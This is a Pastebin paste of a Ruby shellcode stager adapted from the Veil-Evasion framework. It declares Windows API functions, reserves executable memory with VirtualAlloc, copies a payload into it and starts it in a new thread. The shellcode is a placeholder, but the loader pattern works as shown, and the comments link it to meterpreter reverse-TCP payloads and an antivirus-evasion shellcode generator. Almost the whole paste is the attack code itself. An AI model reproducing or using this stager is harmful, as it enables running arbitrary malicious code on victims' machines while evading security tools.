r00t-3xp10it

ruby_stager.rb

Jan 6th, 2016
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.25 KB | None | 0 0
  1. ##
  2. # [ exec.rb ] binarie.
  3. # Author: @harmj0y (veil evasion framework)
  4. # ruby shellcode stager | ocra - 'One Click Ruby Application'
  5. # https://github.com/Veil-Framework/Veil-Evasion/blob/master/modules/payloads/ruby/shellcode_inject/flat.py
  6. # https://github.com/Veil-Framework/Veil-Evasion/blob/master/modules/payloads/ruby/meterpreter/rev_tcp.py
  7. # to be ported to crispy project (shellcode generator/compiler)...
  8. ##
  9.  
  10.  
  11.  
  12. require 'rubygems'
  13. require 'win32/api'
  14. include Win32
  15. exit if Object.const_defined?(:Ocra)
  16.  
  17. # set up all the WinAPI function declarations
  18. VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
  19. RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
  20. CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
  21. WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')
  22.  
  23. # our shellcode
  24. payload = "\xfc\xe8\x89\bla\bla\bla..."
  25.  
  26. # Reserve the necessary amount of virtual address space
  27. # VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
  28. ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)
  29.  
  30.  
  31. # move the payload buffer into the allocated area
  32. x = RtlMoveMemory.call(ptr,payload,payload.length)
  33.  
  34. # start the thread
  35. handleID = CreateThread.call(0,0,ptr,0,0,0)
Advertisement
Add Comment
Please, Sign In to add comment